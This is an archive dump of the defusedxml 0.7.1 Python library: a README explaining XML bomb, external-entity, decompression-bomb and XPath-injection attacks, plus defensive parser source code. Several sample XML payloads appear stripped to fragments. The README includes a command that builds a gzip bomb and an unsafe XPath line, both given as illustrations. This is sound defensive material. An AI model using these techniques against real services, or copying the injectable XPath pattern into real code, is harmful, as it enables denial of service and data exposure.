- Add example code for other languages (Ruby, Perl, PHP) and parsers
(Genshi)
- Add protection against XML and gzip attacks to xmlrpclib
## defusedxml 0.1
*Release date: 08-Feb-2013*
- Initial and internal release for PSRT review
defusedxml-0.7.1/README.txt 0000664 0000000 0000000 00000066626 14021401470 0015366 0 ustar 00root root 0000000 0000000 ===================================================
defusedxml -- defusing XML bombs and other exploits
===================================================
.. image:: https://img.shields.io/pypi/v/defusedxml.svg
:target: https://pypi.org/project/defusedxml/
:alt: Latest Version
.. image:: https://img.shields.io/pypi/pyversions/defusedxml.svg
:target: https://pypi.org/project/defusedxml/
:alt: Supported Python versions
.. image:: https://travis-ci.org/tiran/defusedxml.svg?branch=master
:target: https://travis-ci.org/tiran/defusedxml
:alt: Travis CI
.. image:: https://codecov.io/github/tiran/defusedxml/coverage.svg?branch=master
:target: https://codecov.io/github/tiran/defusedxml?branch=master
:alt: codecov
.. image:: https://img.shields.io/pypi/dm/defusedxml.svg
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:alt: PyPI downloads
.. image:: https://img.shields.io/badge/code%20style-black-000000.svg
:target: https://github.com/psf/black
:alt: Code style: black
..
"It's just XML, what could probably go wrong?"
Christian Heimes
Synopsis
========
The results of an attack on a vulnerable XML library can be fairly dramatic.
With just a few hundred **Bytes** of XML data an attacker can occupy several
**Gigabytes** of memory within **seconds**. An attacker can also keep
CPUs busy for a long time with a small to medium size request. Under some
circumstances it is even possible to access local files on your
server, to circumvent a firewall, or to abuse services to rebound attacks to
third parties.
The attacks use and abuse less common features of XML and its parsers. The
majority of developers are unacquainted with features such as processing
instructions and entity expansions that XML inherited from SGML. At best
they know about ```` from experience with HTML but they are not
aware that a document type definition (DTD) can generate an HTTP request
or load a file from the file system.
None of the issues is new. They have been known for a long time. Billion
laughs was first reported in 2003. Nevertheless some XML libraries and
applications are still vulnerable and even heavy users of XML are
surprised by these features. It's hard to say whom to blame for the
situation. It's too short sighted to shift all blame on XML parsers and
XML libraries for using insecure default settings. After all they
properly implement XML specifications. Application developers must not rely
that a library is always configured for security and potential harmful data
by default.
.. contents:: Table of Contents
:depth: 2
Attack vectors
==============
billion laughs / exponential entity expansion
---------------------------------------------
The `Billion Laughs`_ attack -- also known as exponential entity expansion --
uses multiple levels of nested entities. The original example uses 9 levels
of 10 expansions in each level to expand the string ``lol`` to a string of
3 * 10 :sup:`9` bytes, hence the name "billion laughs". The resulting string
occupies 3 GB (2.79 GiB) of memory; intermediate strings require additional
memory. Because most parsers don't cache the intermediate step for every
expansion it is repeated over and over again. It increases the CPU load even
more.
An XML document of just a few hundred bytes can disrupt all services on a
machine within seconds.
Example XML::
]>
&d;
quadratic blowup entity expansion
---------------------------------
A quadratic blowup attack is similar to a `Billion Laughs`_ attack; it abuses
entity expansion, too. Instead of nested entities it repeats one large entity
with a couple of thousand chars over and over again. The attack isn't as
efficient as the exponential case but it avoids triggering countermeasures of
parsers against heavily nested entities. Some parsers limit the depth and
breadth of a single entity but not the total amount of expanded text
throughout an entire XML document.
A medium-sized XML document with a couple of hundred kilobytes can require a
couple of hundred MB to several GB of memory. When the attack is combined
with some level of nested expansion an attacker is able to achieve a higher
ratio of success.
::
]>
&a;&a;&a;... repeat
external entity expansion (remote)
----------------------------------
Entity declarations can contain more than just text for replacement. They can
also point to external resources by public identifiers or system identifiers.
System identifiers are standard URIs. When the URI is a URL (e.g. a
``http://`` locator) some parsers download the resource from the remote
location and embed them into the XML document verbatim.
Simple example of a parsed external entity::
]>
ⅇ
The case of parsed external entities works only for valid XML content. The
XML standard also supports unparsed external entities with a
``NData declaration``.
External entity expansion opens the door to plenty of exploits. An attacker
can abuse a vulnerable XML library and application to rebound and forward
network requests with the IP address of the server. It highly depends
on the parser and the application what kind of exploit is possible. For
example:
* An attacker can circumvent firewalls and gain access to restricted
resources as all the requests are made from an internal and trustworthy
IP address, not from the outside.
* An attacker can abuse a service to attack, spy on or DoS your servers but
also third party services. The attack is disguised with the IP address of
the server and the attacker is able to utilize the high bandwidth of a big
machine.
* An attacker can exhaust additional resources on the machine, e.g. with
requests to a service that doesn't respond or responds with very large
files.
* An attacker may gain knowledge, when, how often and from which IP address
an XML document is accessed.
* An attacker could send mail from inside your network if the URL handler
supports ``smtp://`` URIs.
external entity expansion (local file)
--------------------------------------
External entities with references to local files are a sub-case of external
entity expansion. It's listed as an extra attack because it deserves extra
attention. Some XML libraries such as lxml disable network access by default
but still allow entity expansion with local file access by default. Local
files are either referenced with a ``file://`` URL or by a file path (either
relative or absolute).
An attacker may be able to access and download all files that can be read by
the application process. This may include critical configuration files, too.
::
]>
ⅇ
DTD retrieval
-------------
This case is similar to external entity expansion, too. Some XML libraries
like Python's xml.dom.pulldom retrieve document type definitions from remote
or local locations. Several attack scenarios from the external entity case
apply to this issue as well.
::
text
Python XML Libraries
====================
.. csv-table:: vulnerabilities and features
:header: "kind", "sax", "etree", "minidom", "pulldom", "xmlrpc", "lxml", "genshi"
:widths: 24, 7, 8, 8, 7, 8, 8, 8
:stub-columns: 0
"billion laughs", "**True**", "**True**", "**True**", "**True**", "**True**", "False (1)", "False (5)"
"quadratic blowup", "**True**", "**True**", "**True**", "**True**", "**True**", "**True**", "False (5)"
"external entity expansion (remote)", "**True**", "False (3)", "False (4)", "**True**", "false", "False (1)", "False (5)"
"external entity expansion (local file)", "**True**", "False (3)", "False (4)", "**True**", "false", "**True**", "False (5)"
"DTD retrieval", "**True**", "False", "False", "**True**", "false", "False (1)", "False"
"gzip bomb", "False", "False", "False", "False", "**True**", "**partly** (2)", "False"
"xpath support (7)", "False", "False", "False", "False", "False", "**True**", "False"
"xsl(t) support (7)", "False", "False", "False", "False", "False", "**True**", "False"
"xinclude support (7)", "False", "**True** (6)", "False", "False", "False", "**True** (6)", "**True**"
"C library", "expat", "expat", "expat", "expat", "expat", "libxml2", "expat"
1. Lxml is protected against billion laughs attacks and doesn't do network
lookups by default.
2. libxml2 and lxml are not directly vulnerable to gzip decompression bombs
but they don't protect you against them either.
3. xml.etree doesn't expand entities and raises a ParserError when an entity
occurs.
4. minidom doesn't expand entities and simply returns the unexpanded entity
verbatim.
5. genshi.input of genshi 0.6 doesn't support entity expansion and raises a
ParserError when an entity occurs.
6. Library has (limited) XInclude support but requires an additional step to
process inclusion.
7. These are features but they may introduce exploitable holes, see
`Other things to consider`_
Settings in standard library
----------------------------
xml.sax.handler Features
........................
feature_external_ges (http://xml.org/sax/features/external-general-entities)
disables external entity expansion
feature_external_pes (http://xml.org/sax/features/external-parameter-entities)
the option is ignored and doesn't modify any functionality
DOM xml.dom.xmlbuilder.Options
..............................
external_parameter_entities
ignored
external_general_entities
ignored
external_dtd_subset
ignored
entities
unsure
defusedxml
==========
The `defusedxml package`_ (`defusedxml on PyPI`_)
contains several Python-only workarounds and fixes
for denial of service and other vulnerabilities in Python's XML libraries.
In order to benefit from the protection you just have to import and use the
listed functions / classes from the right defusedxml module instead of the
original module. Merely `defusedxml.xmlrpc`_ is implemented as monkey patch.
Instead of::
>>> from xml.etree.ElementTree import parse
>>> et = parse(xmlfile)
alter code to::
>>> from defusedxml.ElementTree import parse
>>> et = parse(xmlfile)
Additionally the package has an **untested** function to monkey patch
all stdlib modules with ``defusedxml.defuse_stdlib()``.
All functions and parser classes accept three additional keyword arguments.
They return either the same objects as the original functions or compatible
subclasses.
forbid_dtd (default: False)
disallow XML with a ```` processing instruction and raise a
*DTDForbidden* exception when a DTD processing instruction is found.
forbid_entities (default: True)
disallow XML with ```` declarations inside the DTD and raise an
*EntitiesForbidden* exception when an entity is declared.
forbid_external (default: True)
disallow any access to remote or local resources in external entities
or DTD and raising an *ExternalReferenceForbidden* exception when a DTD
or entity references an external resource.
defusedxml (package)
--------------------
DefusedXmlException, DTDForbidden, EntitiesForbidden,
ExternalReferenceForbidden, NotSupportedError
defuse_stdlib() (*experimental*)
defusedxml.cElementTree
-----------------------
**NOTE** ``defusedxml.cElementTree`` is deprecated and will be removed in a
future release. Import from ``defusedxml.ElementTree`` instead.
parse(), iterparse(), fromstring(), XMLParser
defusedxml.ElementTree
-----------------------
parse(), iterparse(), fromstring(), XMLParser
defusedxml.expatreader
----------------------
create_parser(), DefusedExpatParser
defusedxml.sax
--------------
parse(), parseString(), make_parser()
defusedxml.expatbuilder
-----------------------
parse(), parseString(), DefusedExpatBuilder, DefusedExpatBuilderNS
defusedxml.minidom
------------------
parse(), parseString()
defusedxml.pulldom
------------------
parse(), parseString()
defusedxml.xmlrpc
-----------------
The fix is implemented as monkey patch for the stdlib's xmlrpc package (3.x)
or xmlrpclib module (2.x). The function `monkey_patch()` enables the fixes,
`unmonkey_patch()` removes the patch and puts the code in its former state.
The monkey patch protects against XML related attacks as well as
decompression bombs and excessively large requests or responses. The default
setting is 30 MB for requests, responses and gzip decompression. You can
modify the default by changing the module variable `MAX_DATA`. A value of
`-1` disables the limit.
defusedxml.lxml
---------------
**DEPRECATED** The module is deprecated and will be removed in a future
release.
The module acts as an *example* how you could protect code that uses
lxml.etree. It implements a custom Element class that filters out
Entity instances, a custom parser factory and a thread local storage for
parser instances. It also has a check_docinfo() function which inspects
a tree for internal or external DTDs and entity declarations. In order to
check for entities lxml > 3.0 is required.
parse(), fromstring()
RestrictedElement, GlobalParserTLS, getDefaultParser(), check_docinfo()
defusedexpat
============
The `defusedexpat package`_ (`defusedexpat on PyPI`_)
comes with binary extensions and a
`modified expat`_ library instead of the standard `expat parser`_. It's
basically a stand-alone version of the patches for Python's standard
library C extensions.
Modifications in expat
----------------------
new definitions::
XML_BOMB_PROTECTION
XML_DEFAULT_MAX_ENTITY_INDIRECTIONS
XML_DEFAULT_MAX_ENTITY_EXPANSIONS
XML_DEFAULT_RESET_DTD
new XML_FeatureEnum members::
XML_FEATURE_MAX_ENTITY_INDIRECTIONS
XML_FEATURE_MAX_ENTITY_EXPANSIONS
XML_FEATURE_IGNORE_DTD
new XML_Error members::
XML_ERROR_ENTITY_INDIRECTIONS
XML_ERROR_ENTITY_EXPANSION
new API functions::
int XML_GetFeature(XML_Parser parser,
enum XML_FeatureEnum feature,
long *value);
int XML_SetFeature(XML_Parser parser,
enum XML_FeatureEnum feature,
long value);
int XML_GetFeatureDefault(enum XML_FeatureEnum feature,
long *value);
int XML_SetFeatureDefault(enum XML_FeatureEnum feature,
long value);
XML_FEATURE_MAX_ENTITY_INDIRECTIONS
Limit the amount of indirections that are allowed to occur during the
expansion of a nested entity. A counter starts when an entity reference
is encountered. It resets after the entity is fully expanded. The limit
protects the parser against exponential entity expansion attacks (aka
billion laughs attack). When the limit is exceeded the parser stops and
fails with `XML_ERROR_ENTITY_INDIRECTIONS`.
A value of 0 disables the protection.
Supported range
0 .. UINT_MAX
Default
40
XML_FEATURE_MAX_ENTITY_EXPANSIONS
Limit the total length of all entity expansions throughout the entire
document. The lengths of all entities are accumulated in a parser variable.
The setting protects against quadratic blowup attacks (lots of expansions
of a large entity declaration). When the sum of all entities exceeds
the limit, the parser stops and fails with `XML_ERROR_ENTITY_EXPANSION`.
A value of 0 disables the protection.
Supported range
0 .. UINT_MAX
Default
8 MiB
XML_FEATURE_RESET_DTD
Reset all DTD information after the block has been parsed. When
the flag is set (default: false) all DTD information after the
endDoctypeDeclHandler has been called. The flag can be set inside the
endDoctypeDeclHandler. Without DTD information any entity reference in
the document body leads to `XML_ERROR_UNDEFINED_ENTITY`.
Supported range
0, 1
Default
0
How to avoid XML vulnerabilities
================================
Best practices
--------------
* Don't allow DTDs
* Don't expand entities
* Don't resolve externals
* Limit parse depth
* Limit total input size
* Limit parse time
* Favor a SAX or iterparse-like parser for potential large data
* Validate and properly quote arguments to XSL transformations and
XPath queries
* Don't use XPath expression from untrusted sources
* Don't apply XSL transformations that come untrusted sources
(based on Brad Hill's `Attacking XML Security`_)
Other things to consider
========================
XML, XML parsers and processing libraries have more features and possible
issue that could lead to DoS vulnerabilities or security exploits in
applications. I have compiled an incomplete list of theoretical issues that
need further research and more attention. The list is deliberately pessimistic
and a bit paranoid, too. It contains things that might go wrong under daffy
circumstances.
attribute blowup / hash collision attack
----------------------------------------
XML parsers may use an algorithm with quadratic runtime O(n :sup:`2`) to
handle attributes and namespaces. If it uses hash tables (dictionaries) to
store attributes and namespaces the implementation may be vulnerable to
hash collision attacks, thus reducing the performance to O(n :sup:`2`) again.
In either case an attacker is able to forge a denial of service attack with
an XML document that contains thousands upon thousands of attributes in
a single node.
I haven't researched yet if expat, pyexpat or libxml2 are vulnerable.
decompression bomb
------------------
The issue of decompression bombs (aka `ZIP bomb`_) apply to all XML libraries
that can parse compressed XML stream like gzipped HTTP streams or LZMA-ed
files. For an attacker it can reduce the amount of transmitted data by three
magnitudes or more. Gzip is able to compress 1 GiB zeros to roughly 1 MB,
lzma is even better::
$ dd if=/dev/zero bs=1M count=1024 | gzip > zeros.gz
$ dd if=/dev/zero bs=1M count=1024 | lzma -z > zeros.xy
$ ls -sh zeros.*
1020K zeros.gz
148K zeros.xy
None of Python's standard XML libraries decompress streams except for
``xmlrpclib``. The module is vulnerable
to decompression bombs.
lxml can load and process compressed data through libxml2 transparently.
libxml2 can handle even very large blobs of compressed data efficiently
without using too much memory. But it doesn't protect applications from
decompression bombs. A carefully written SAX or iterparse-like approach can
be safe.
Processing Instruction
----------------------
`PI`_'s like::
may impose more threats for XML processing. It depends if and how a
processor handles processing instructions. The issue of URL retrieval with
network or local file access apply to processing instructions, too.
Other DTD features
------------------
`DTD`_ has more features like ````. I haven't researched how
these features may be a security threat.
XPath
-----
XPath statements may introduce DoS vulnerabilities. Code should never execute
queries from untrusted sources. An attacker may also be able to create an XML
document that makes certain XPath queries costly or resource hungry.
XPath injection attacks
-----------------------
XPath injeciton attacks pretty much work like SQL injection attacks.
Arguments to XPath queries must be quoted and validated properly, especially
when they are taken from the user. The page `Avoid the dangers of XPath injection`_
list some ramifications of XPath injections.
Python's standard library doesn't have XPath support. Lxml supports
parameterized XPath queries which does proper quoting. You just have to use
its xpath() method correctly::
# DON'T
>>> tree.xpath("/tag[@id='%s']" % value)
# instead do
>>> tree.xpath("/tag[@id=$tagid]", tagid=name)
XInclude
--------
`XML Inclusion`_ is another way to load and include external files::
This feature should be disabled when XML files from an untrusted source are
processed. Some Python XML libraries and libxml2 support XInclude but don't
have an option to sandbox inclusion and limit it to allowed directories.
XMLSchema location
------------------
A validating XML parser may download schema files from the information in a
``xsi:schemaLocation`` attribute.
::
XSL Transformation
------------------
You should keep in mind that XSLT is a Turing complete language. Never
process XSLT code from unknown or untrusted source! XSLT processors may
allow you to interact with external resources in ways you can't even imagine.
Some processors even support extensions that allow read/write access to file
system, access to JRE objects or scripting with Jython.
Example from `Attacking XML Security`_ for Xalan-J::
Related CVEs
============
CVE-2013-1664
Unrestricted entity expansion induces DoS vulnerabilities in Python XML
libraries (XML bomb)
CVE-2013-1665
External entity expansion in Python XML libraries inflicts potential
security flaws and DoS vulnerabilities
Other languages / frameworks
=============================
Several other programming languages and frameworks are vulnerable as well. A
couple of them are affected by the fact that libxml2 up to 2.9.0 has no
protection against quadratic blowup attacks. Most of them have potential
dangerous default settings for entity expansion and external entities, too.
Perl
----
Perl's XML::Simple is vulnerable to quadratic entity expansion and external
entity expansion (both local and remote).
Ruby
----
Ruby's REXML document parser is vulnerable to entity expansion attacks
(both quadratic and exponential) but it doesn't do external entity
expansion by default. In order to counteract entity expansion you have to
disable the feature::
REXML::Document.entity_expansion_limit = 0
libxml-ruby and hpricot don't expand entities in their default configuration.
PHP
---
PHP's SimpleXML API is vulnerable to quadratic entity expansion and loads
entities from local and remote resources. The option ``LIBXML_NONET`` disables
network access but still allows local file access. ``LIBXML_NOENT`` seems to
have no effect on entity expansion in PHP 5.4.6.
C# / .NET / Mono
----------------
Information in `XML DoS and Defenses (MSDN)`_ suggest that .NET is
vulnerable with its default settings. The article contains code snippets
how to create a secure XML reader::
XmlReaderSettings settings = new XmlReaderSettings();
settings.ProhibitDtd = false;
settings.MaxCharactersFromEntities = 1024;
settings.XmlResolver = null;
XmlReader reader = XmlReader.Create(stream, settings);
Java
----
Untested. The documentation of Xerces and its `Xerces SecurityMananger`_
sounds like Xerces is also vulnerable to billion laugh attacks with its
default settings. It also does entity resolving when an
``org.xml.sax.EntityResolver`` is configured. I'm not yet sure about the
default setting here.
Java specialists suggest to have a custom builder factory::
DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance();
builderFactory.setXIncludeAware(False);
builderFactory.setExpandEntityReferences(False);
builderFactory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, True);
# either
builderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", True);
# or if you need DTDs
builderFactory.setFeature("http://xml.org/sax/features/external-general-entities", False);
builderFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", False);
builderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", False);
builderFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-dtd-grammar", False);
TODO
====
* DOM: Use xml.dom.xmlbuilder options for entity handling
* SAX: take feature_external_ges and feature_external_pes (?) into account
* test experimental monkey patching of stdlib modules
* improve documentation
License
=======
Copyright (c) 2013-2017 by Christian Heimes
Licensed to PSF under a Contributor Agreement.
See https://www.python.org/psf/license for licensing details.
Acknowledgements
================
Brett Cannon (Python Core developer)
review and code cleanup
Antoine Pitrou (Python Core developer)
code review
Aaron Patterson, Ben Murphy and Michael Koziarski (Ruby community)
Many thanks to Aaron, Ben and Michael from the Ruby community for their
report and assistance.
Thierry Carrez (OpenStack)
Many thanks to Thierry for his report to the Python Security Response
Team on behalf of the OpenStack security team.
Carl Meyer (Django)
Many thanks to Carl for his report to PSRT on behalf of the Django security
team.
Daniel Veillard (libxml2)
Many thanks to Daniel for his insight and assistance with libxml2.
semantics GmbH (https://www.semantics.de/)
Many thanks to my employer semantics for letting me work on the issue
during working hours as part of semantics's open source initiative.
References
==========
* `XML DoS and Defenses (MSDN)`_
* `Billion Laughs`_ on Wikipedia
* `ZIP bomb`_ on Wikipedia
* `Configure SAX parsers for secure processing`_
* `Testing for XML Injection`_
.. _defusedxml package: https://github.com/tiran/defusedxml
.. _defusedxml on PyPI: https://pypi.python.org/pypi/defusedxml
.. _defusedexpat package: https://github.com/tiran/defusedexpat
.. _defusedexpat on PyPI: https://pypi.python.org/pypi/defusedexpat
.. _modified expat: https://github.com/tiran/expat
.. _expat parser: http://expat.sourceforge.net/
.. _Attacking XML Security: https://www.isecpartners.com/media/12976/iSEC-HILL-Attacking-XML-Security-bh07.pdf
.. _Billion Laughs: https://en.wikipedia.org/wiki/Billion_laughs
.. _XML DoS and Defenses (MSDN): https://msdn.microsoft.com/en-us/magazine/ee335713.aspx
.. _ZIP bomb: https://en.wikipedia.org/wiki/Zip_bomb
.. _DTD: https://en.wikipedia.org/wiki/Document_Type_Definition
.. _PI: https://en.wikipedia.org/wiki/Processing_Instruction
.. _Avoid the dangers of XPath injection: http://www.ibm.com/developerworks/xml/library/x-xpathinjection/index.html
.. _Configure SAX parsers for secure processing: http://www.ibm.com/developerworks/xml/library/x-tipcfsx/index.html
.. _Testing for XML Injection: https://www.owasp.org/index.php/Testing_for_XML_Injection_(OWASP-DV-008)
.. _Xerces SecurityMananger: https://xerces.apache.org/xerces2-j/javadocs/xerces2/org/apache/xerces/util/SecurityManager.html
.. _XML Inclusion: https://www.w3.org/TR/xinclude/#include_element
defusedxml-0.7.1/SECURITY.md 0000664 0000000 0000000 00000000444 14021401470 0015443 0 ustar 00root root 0000000 0000000 # Security Policy
## Supported Versions
| Version | Supported |
| ------- | ------------------ |
| 0.7.0 | :white_check_mark: |
| 0.6.0 | :white_check_mark: |
| < 0.6 | :x: |
## Reporting a Vulnerability
Please report security issues to christian@python.org
defusedxml-0.7.1/defusedxml/ 0000775 0000000 0000000 00000000000 14021401470 0016010 5 ustar 00root root 0000000 0000000 defusedxml-0.7.1/defusedxml/ElementTree.py 0000664 0000000 0000000 00000011040 14021401470 0020567 0 ustar 00root root 0000000 0000000 # defusedxml
#
# Copyright (c) 2013 by Christian Heimes
# Licensed to PSF under a Contributor Agreement.
# See https://www.python.org/psf/license for licensing details.
"""Defused xml.etree.ElementTree facade
"""
from __future__ import print_function, absolute_import
import sys
import warnings
from xml.etree.ElementTree import ParseError
from xml.etree.ElementTree import TreeBuilder as _TreeBuilder
from xml.etree.ElementTree import parse as _parse
from xml.etree.ElementTree import tostring
from .common import PY3
if PY3:
import importlib
else:
from xml.etree.ElementTree import XMLParser as _XMLParser
from xml.etree.ElementTree import iterparse as _iterparse
from .common import (
DTDForbidden,
EntitiesForbidden,
ExternalReferenceForbidden,
_generate_etree_functions,
)
__origin__ = "xml.etree.ElementTree"
def _get_py3_cls():
"""Python 3.3 hides the pure Python code but defusedxml requires it.
The code is based on test.support.import_fresh_module().
"""
pymodname = "xml.etree.ElementTree"
cmodname = "_elementtree"
pymod = sys.modules.pop(pymodname, None)
cmod = sys.modules.pop(cmodname, None)
sys.modules[cmodname] = None
try:
pure_pymod = importlib.import_module(pymodname)
finally:
# restore module
sys.modules[pymodname] = pymod
if cmod is not None:
sys.modules[cmodname] = cmod
else:
sys.modules.pop(cmodname, None)
# restore attribute on original package
etree_pkg = sys.modules["xml.etree"]
if pymod is not None:
etree_pkg.ElementTree = pymod
elif hasattr(etree_pkg, "ElementTree"):
del etree_pkg.ElementTree
_XMLParser = pure_pymod.XMLParser
_iterparse = pure_pymod.iterparse
# patch pure module to use ParseError from C extension
pure_pymod.ParseError = ParseError
return _XMLParser, _iterparse
if PY3:
_XMLParser, _iterparse = _get_py3_cls()
_sentinel = object()
class DefusedXMLParser(_XMLParser):
def __init__(
self,
html=_sentinel,
target=None,
encoding=None,
forbid_dtd=False,
forbid_entities=True,
forbid_external=True,
):
# Python 2.x old style class
_XMLParser.__init__(self, target=target, encoding=encoding)
if html is not _sentinel:
# the 'html' argument has been deprecated and ignored in all
# supported versions of Python. Python 3.8 finally removed it.
if html:
raise TypeError("'html=True' is no longer supported.")
else:
warnings.warn(
"'html' keyword argument is no longer supported. Pass "
"in arguments as keyword arguments.",
category=DeprecationWarning,
)
self.forbid_dtd = forbid_dtd
self.forbid_entities = forbid_entities
self.forbid_external = forbid_external
if PY3:
parser = self.parser
else:
parser = self._parser
if self.forbid_dtd:
parser.StartDoctypeDeclHandler = self.defused_start_doctype_decl
if self.forbid_entities:
parser.EntityDeclHandler = self.defused_entity_decl
parser.UnparsedEntityDeclHandler = self.defused_unparsed_entity_decl
if self.forbid_external:
parser.ExternalEntityRefHandler = self.defused_external_entity_ref_handler
def defused_start_doctype_decl(self, name, sysid, pubid, has_internal_subset):
raise DTDForbidden(name, sysid, pubid)
def defused_entity_decl(
self, name, is_parameter_entity, value, base, sysid, pubid, notation_name
):
raise EntitiesForbidden(name, value, base, sysid, pubid, notation_name)
def defused_unparsed_entity_decl(self, name, base, sysid, pubid, notation_name):
# expat 1.2
raise EntitiesForbidden(name, None, base, sysid, pubid, notation_name) # pragma: no cover
def defused_external_entity_ref_handler(self, context, base, sysid, pubid):
raise ExternalReferenceForbidden(context, base, sysid, pubid)
# aliases
# XMLParse is a typo, keep it for backwards compatibility
XMLTreeBuilder = XMLParse = XMLParser = DefusedXMLParser
parse, iterparse, fromstring = _generate_etree_functions(
DefusedXMLParser, _TreeBuilder, _parse, _iterparse
)
XML = fromstring
__all__ = [
"ParseError",
"XML",
"XMLParse",
"XMLParser",
"XMLTreeBuilder",
"fromstring",
"iterparse",
"parse",
"tostring",
]
defusedxml-0.7.1/defusedxml/__init__.py 0000664 0000000 0000000 00000002644 14021401470 0020127 0 ustar 00root root 0000000 0000000 # defusedxml
#
# Copyright (c) 2013 by Christian Heimes
# Licensed to PSF under a Contributor Agreement.
# See https://www.python.org/psf/license for licensing details.
"""Defuse XML bomb denial of service vulnerabilities
"""
from __future__ import print_function, absolute_import
import warnings
from .common import (
DefusedXmlException,
DTDForbidden,
EntitiesForbidden,
ExternalReferenceForbidden,
NotSupportedError,
_apply_defusing,
)
def defuse_stdlib():
"""Monkey patch and defuse all stdlib packages
:warning: The monkey patch is an EXPERIMETNAL feature.
"""
defused = {}
with warnings.catch_warnings():
from . import cElementTree
from . import ElementTree
from . import minidom
from . import pulldom
from . import sax
from . import expatbuilder
from . import expatreader
from . import xmlrpc
xmlrpc.monkey_patch()
defused[xmlrpc] = None
defused_mods = [
cElementTree,
ElementTree,
minidom,
pulldom,
sax,
expatbuilder,
expatreader,
]
for defused_mod in defused_mods:
stdlib_mod = _apply_defusing(defused_mod)
defused[defused_mod] = stdlib_mod
return defused
__version__ = "0.7.1"
__all__ = [
"DefusedXmlException",
"DTDForbidden",
"EntitiesForbidden",
"ExternalReferenceForbidden",
"NotSupportedError",
]
defusedxml-0.7.1/defusedxml/cElementTree.py 0000664 0000000 0000000 00000002651 14021401470 0020742 0 ustar 00root root 0000000 0000000 # defusedxml
#
# Copyright (c) 2013 by Christian Heimes
# Licensed to PSF under a Contributor Agreement.
# See https://www.python.org/psf/license for licensing details.
"""Defused xml.etree.cElementTree
"""
from __future__ import absolute_import
import warnings
from .common import _generate_etree_functions
from xml.etree.cElementTree import TreeBuilder as _TreeBuilder
from xml.etree.cElementTree import parse as _parse
from xml.etree.cElementTree import tostring
# iterparse from ElementTree!
from xml.etree.ElementTree import iterparse as _iterparse
# This module is an alias for ElementTree just like xml.etree.cElementTree
from .ElementTree import (
XML,
XMLParse,
XMLParser,
XMLTreeBuilder,
fromstring,
iterparse,
parse,
tostring,
DefusedXMLParser,
ParseError,
)
__origin__ = "xml.etree.cElementTree"
warnings.warn(
"defusedxml.cElementTree is deprecated, import from defusedxml.ElementTree instead.",
category=DeprecationWarning,
stacklevel=2,
)
# XMLParse is a typo, keep it for backwards compatibility
XMLTreeBuilder = XMLParse = XMLParser = DefusedXMLParser
parse, iterparse, fromstring = _generate_etree_functions(
DefusedXMLParser, _TreeBuilder, _parse, _iterparse
)
XML = fromstring
__all__ = [
"ParseError",
"XML",
"XMLParse",
"XMLParser",
"XMLTreeBuilder",
"fromstring",
"iterparse",
"parse",
"tostring",
]
defusedxml-0.7.1/defusedxml/common.py 0000664 0000000 0000000 00000007704 14021401470 0017662 0 ustar 00root root 0000000 0000000 # defusedxml
#
# Copyright (c) 2013 by Christian Heimes
# Licensed to PSF under a Contributor Agreement.
# See https://www.python.org/psf/license for licensing details.
"""Common constants, exceptions and helpe functions
"""
import sys
import xml.parsers.expat
PY3 = sys.version_info[0] == 3
# Fail early when pyexpat is not installed correctly
if not hasattr(xml.parsers.expat, "ParserCreate"):
raise ImportError("pyexpat") # pragma: no cover
class DefusedXmlException(ValueError):
"""Base exception"""
def __repr__(self):
return str(self)
class DTDForbidden(DefusedXmlException):
"""Document type definition is forbidden"""
def __init__(self, name, sysid, pubid):
super(DTDForbidden, self).__init__()
self.name = name
self.sysid = sysid
self.pubid = pubid
def __str__(self):
tpl = "DTDForbidden(name='{}', system_id={!r}, public_id={!r})"
return tpl.format(self.name, self.sysid, self.pubid)
class EntitiesForbidden(DefusedXmlException):
"""Entity definition is forbidden"""
def __init__(self, name, value, base, sysid, pubid, notation_name):
super(EntitiesForbidden, self).__init__()
self.name = name
self.value = value
self.base = base
self.sysid = sysid
self.pubid = pubid
self.notation_name = notation_name
def __str__(self):
tpl = "EntitiesForbidden(name='{}', system_id={!r}, public_id={!r})"
return tpl.format(self.name, self.sysid, self.pubid)
class ExternalReferenceForbidden(DefusedXmlException):
"""Resolving an external reference is forbidden"""
def __init__(self, context, base, sysid, pubid):
super(ExternalReferenceForbidden, self).__init__()
self.context = context
self.base = base
self.sysid = sysid
self.pubid = pubid
def __str__(self):
tpl = "ExternalReferenceForbidden(system_id='{}', public_id={})"
return tpl.format(self.sysid, self.pubid)
class NotSupportedError(DefusedXmlException):
"""The operation is not supported"""
def _apply_defusing(defused_mod):
assert defused_mod is sys.modules[defused_mod.__name__]
stdlib_name = defused_mod.__origin__
__import__(stdlib_name, {}, {}, ["*"])
stdlib_mod = sys.modules[stdlib_name]
stdlib_names = set(dir(stdlib_mod))
for name, obj in vars(defused_mod).items():
if name.startswith("_") or name not in stdlib_names:
continue
setattr(stdlib_mod, name, obj)
return stdlib_mod
def _generate_etree_functions(DefusedXMLParser, _TreeBuilder, _parse, _iterparse):
"""Factory for functions needed by etree, dependent on whether
cElementTree or ElementTree is used."""
def parse(source, parser=None, forbid_dtd=False, forbid_entities=True, forbid_external=True):
if parser is None:
parser = DefusedXMLParser(
target=_TreeBuilder(),
forbid_dtd=forbid_dtd,
forbid_entities=forbid_entities,
forbid_external=forbid_external,
)
return _parse(source, parser)
def iterparse(
source,
events=None,
parser=None,
forbid_dtd=False,
forbid_entities=True,
forbid_external=True,
):
if parser is None:
parser = DefusedXMLParser(
target=_TreeBuilder(),
forbid_dtd=forbid_dtd,
forbid_entities=forbid_entities,
forbid_external=forbid_external,
)
return _iterparse(source, events, parser)
def fromstring(text, forbid_dtd=False, forbid_entities=True, forbid_external=True):
parser = DefusedXMLParser(
target=_TreeBuilder(),
forbid_dtd=forbid_dtd,
forbid_entities=forbid_entities,
forbid_external=forbid_external,
)
parser.feed(text)
return parser.close()
return parse, iterparse, fromstring
defusedxml-0.7.1/defusedxml/expatbuilder.py 0000664 0000000 0000000 00000007224 14021401470 0021057 0 ustar 00root root 0000000 0000000 # defusedxml
#
# Copyright (c) 2013 by Christian Heimes
# Licensed to PSF under a Contributor Agreement.
# See https://www.python.org/psf/license for licensing details.
"""Defused xml.dom.expatbuilder
"""
from __future__ import print_function, absolute_import
from xml.dom.expatbuilder import ExpatBuilder as _ExpatBuilder
from xml.dom.expatbuilder import Namespaces as _Namespaces
from .common import DTDForbidden, EntitiesForbidden, ExternalReferenceForbidden
__origin__ = "xml.dom.expatbuilder"
